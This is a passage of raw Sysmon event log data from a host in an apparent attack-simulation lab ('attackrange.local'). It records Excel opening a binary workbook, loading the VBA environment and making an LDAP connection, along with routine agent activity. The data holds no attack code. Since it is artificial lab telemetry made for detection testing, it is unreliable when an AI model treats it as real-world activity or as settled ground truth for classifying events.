Corporationntshrui.dllMD5=E996A5D4EA7754FF1B0411F0B1664603,SHA256=B2DA0AC549C551A2CAF0714EF3B344C33943292FB1FA9F2EEFA706B6FF18F1A2,IMPHASH=AC4154F2DB854AC5F42815BCE5C34155trueMicrosoft WindowsValid 10341000x800000000000000048928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6497|C:\Windows\System32\shcore.dll+6387|C:\Windows\System32\shcore.dll+62fd|C:\Windows\System32\shcore.dll+620a|C:\Windows\System32\windows.storage.dll+6165e|C:\Windows\System32\windows.storage.dll+d42ec|C:\Windows\System32\windows.storage.dll+d40c8|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+6164c|C:\Windows\System32\windows.storage.dll+d42ec|C:\Windows\System32\windows.storage.dll+d40c8|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+6164c|C:\Windows\System32\windows.storage.dll+d42ec|C:\Windows\System32\windows.storage.dll+d40c8|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.668{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\DataExchange.dll10.0.14393.4169 (rs1_release.210107-1130)Data exchangeMicrosoft® Windows® Operating SystemMicrosoft CorporationDataExchange.dllMD5=23F499FA8F8E02A8090FB78E80617BDD,SHA256=08C2E505F3765D98379BB88DC8AD5555AB680A691054933FCA1A2CFCDFA42F51,IMPHASH=05056B92E29CCE6F97F9C6674AE080C0trueMicrosoft WindowsValid 11241100x800000000000000048922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.668{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\My documents for Chris.xlsb.LNK2021-09-10 14:58:07.668 734700x800000000000000048921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.652{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\linkinfo.dll10.0.14393.0 (rs1_release.160715-1616)Windows Volume TrackingMicrosoft® Windows® Operating SystemMicrosoft CorporationLINKINFO.DLLMD5=4CE9B67A187310E37E535FC4165E0933,SHA256=469B33A5DDAA93D28F66AE6D6956268F6F2F09F146734D00A931FBDD1D87DE42,IMPHASH=F3640F50846C35CCE7151F1E835AE727trueMicrosoft WindowsValid 10341000x800000000000000048920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.637{7BD73061-6D0F-613B-9406-00000000F001}44804752C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\windows.storage.dll+3c6ffe|C:\Windows\System32\windows.storage.dll+3c8fee|C:\Windows\System32\windows.storage.dll+7ad03|C:\Windows\System32\windows.storage.dll+7c309|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.637{7BD73061-6D0F-613B-9406-00000000F001}44804752C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\windows.storage.dll+3ca15e|C:\Windows\System32\windows.storage.dll+3c5e2f|C:\Windows\System32\windows.storage.dll+3c6f70|C:\Windows\System32\windows.storage.dll+3c8fee|C:\Windows\System32\windows.storage.dll+7ad03|C:\Windows\System32\windows.storage.dll+7c309|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.637{7BD73061-727B-613B-4A0B-00000000F001}62766628C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+3c76c8|C:\Windows\System32\windows.storage.dll+3cbcbf|C:\Windows\System32\windows.storage.dll+3cc218|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1945f4|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1944d9|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.637{7BD73061-727B-613B-4A0B-00000000F001}62766628C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+3c76ac|C:\Windows\System32\windows.storage.dll+3cbcbf|C:\Windows\System32\windows.storage.dll+3cc218|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1945f4|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1944d9|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.637{7BD73061-727B-613B-4A0B-00000000F001}62766628C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+3c76ac|C:\Windows\System32\windows.storage.dll+3cbcbf|C:\Windows\System32\windows.storage.dll+3cc218|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1945f4|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1944d9|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.559{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\System\msvcr100.dll10.00.40219.1Microsoft® C Runtime LibraryMicrosoft® Visual Studio® 2010Microsoft Corporationmsvcr100_clr0400.dllMD5=DF3CA8D16BDED6A54977B30E66864D33,SHA256=1D1A1AE540BA132F998D60D3622F0297B6E86AE399332C3B47462D7C0F560A36,IMPHASH=1208BCDC77CFFEE6A6813646321CFC79trueMicrosoft CorporationValid 734700x800000000000000048914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.543{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\UIAutomationCore.dll7.2.14393.4169 (rs1_release.210107-1130)Microsoft UI Automation CoreMicrosoft® Windows® Operating SystemMicrosoft CorporationUIAutomationCore.dllMD5=9B2DCFE11EEBDDC18A8F5964E04E64A0,SHA256=5CBC5B45B9EB5B4EF1360005CD675D20D7EE9FE588DA24543FF7C9ACB88317FF,IMPHASH=6691D3D33C2662107A11540A5A994674trueMicrosoft WindowsValid 734700x800000000000000048913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.574{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSPTLS.DLL16.0.13801.20178Microsoft Office componentMicrosoft OfficeMicrosoft Corporationmsptls.dllMD5=53C631125C4AB3BFA9F7DB70B4B02EFA,SHA256=4F0593A374FE614EBBFAB37A9C39515D695ABA2EF3ADDD72BD912A83426789FE,IMPHASH=014C3CB1A8C71877E8ED43B06831840FtrueMicrosoft CorporationValid 734700x800000000000000048912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.527{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1\VBE7.DLL7.01.1108Visual Basic Design Time EnvironmentVisual Basic EnvironmentMicrosoft Corporation-MD5=962CAEF91E79619B08D97DCF7CEC13C3,SHA256=4343F2C48692D253A4BA5FCA3EC7F7C675CEFDD778E4A0320524DABABBA2D60D,IMPHASH=150029E984790C7A698A8E7E9FD2048AtrueMicrosoft CorporationValid 734700x800000000000000048911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.481{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\slc.dll10.0.14393.67 (rs1_release.160804-2231)Software Licensing Client DllMicrosoft® Windows® Operating SystemMicrosoft Corporationslc.dllMD5=060E11DCB875D981E948073986E295DC,SHA256=30858EA58F24537CC3369091F92AD70C59877BDB1FDF8DEC7762A7AB72DDE885,IMPHASH=70AAA0F56F084D1AE09EB5CD51B268ECtrueMicrosoft WindowsValid 734700x800000000000000048910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.434{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\Office16\GFX.DLL16.0.13801.20442Microsoft Office GraphicsMicrosoft OfficeMicrosoft CorporationGFX.DLLMD5=67A8185AAF7674010FB3D3F4BF71B3A7,SHA256=3017C9E5F1B0107444C560FF931BEB019E96AFC49D33F131B1BD0D3AF5B53614,IMPHASH=B0BC9085FB48FD90C072EF8005D088BFtrueMicrosoft CorporationValid 23542300x800000000000000048909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.419{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-053MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.309{7BD73061-727B-613B-4A0B-00000000F001}6276ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\mso15A7.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000048907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.278{7BD73061-6D0F-613B-9406-00000000F001}4480172C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:08.940{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=67E3729BB199681441AE4F4854861D19,SHA256=1D017310D8D1F115976D8F9DB9DE2C8C17331E97EF0D72792D147ECCCD9D6746,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000048967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:05.930{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59497-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000048966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:05.930{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59497-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000048965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:05.377{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59496-false10.0.1.12-8000- 354300x800000000000000048964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.910{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEudpfalsefalse127.0.0.1win-dc-387.attackrange.local59071-false127.0.0.1win-dc-387.attackrange.local53domain 354300x800000000000000048963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.907{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local59071- 354300x800000000000000048962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.907{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEudptruetrue7f00:1:3600:7d00:9810:8072:82c9:ffff-59071-true7f00:1:c1cf:5e9:a01:0:ba06:0-53domain 734700x800000000000000048961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:08.596{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\Office16\Microsoft.Office.PolicyTips.dll16.0.13801.20442Contains all functions necessary for the use of the Policy Tips feature in Microsoft Office endpointsMicrosoft OfficeMicrosoft CorporationMicrosoft Office Policy TipsMD5=763681DB60B80F3EC69F97B2283E5568,SHA256=96151FEC3F881A9552FE841CA828B7A2CB1EF3480D04F54BB6AB5DC6E300FCE0,IMPHASH=D09169B1DFD89844378D0686F134CDB7trueMicrosoft CorporationValid 734700x800000000000000048960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:08.596{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\sxs.dll10.0.14393.4169 (rs1_release.210107-1130)Fusion 2.5Microsoft® Windows® Operating SystemMicrosoft CorporationSXS.DLLMD5=54FB18CA661D074CBB60D5A58D40C8D3,SHA256=A2BD6160222A216F8A6830C1273662F8AE88F53D2CE6DA5893FF70D146A0A2B0,IMPHASH=FED414075FF3F23F21C898B1860393B4trueMicrosoft WindowsValid 10341000x800000000000000048959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:08.440{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52cbf|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52c5a|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52bd6|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+5259d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5f3b1|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+b0354|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5b3dd|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:08.285{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\D3DCompiler_47.dll10.0.14393.3930 (rs1_release.200901-1914)Direct3D HLSL CompilerMicrosoft® Windows® Operating SystemMicrosoft Corporationd3dcompiler_47.dllMD5=6C441F5AD6724D68B27D9928C6C1170D,SHA256=EEA0AE3BDCEF59AF62F471E90C489044B8DB55BFF6377231E002A70AB1F8CF73,IMPHASH=6FDF9A87126D967D12E1FE5AAD5EEF07trueMicrosoft WindowsValid 23542300x800000000000000048957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:08.221{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=33563022476C77DBAF5A53E550F0D465,SHA256=A647157A90644B84ABF55AF621003D2C012276274D6A307D4108F39B8C61A97C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:08.221{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 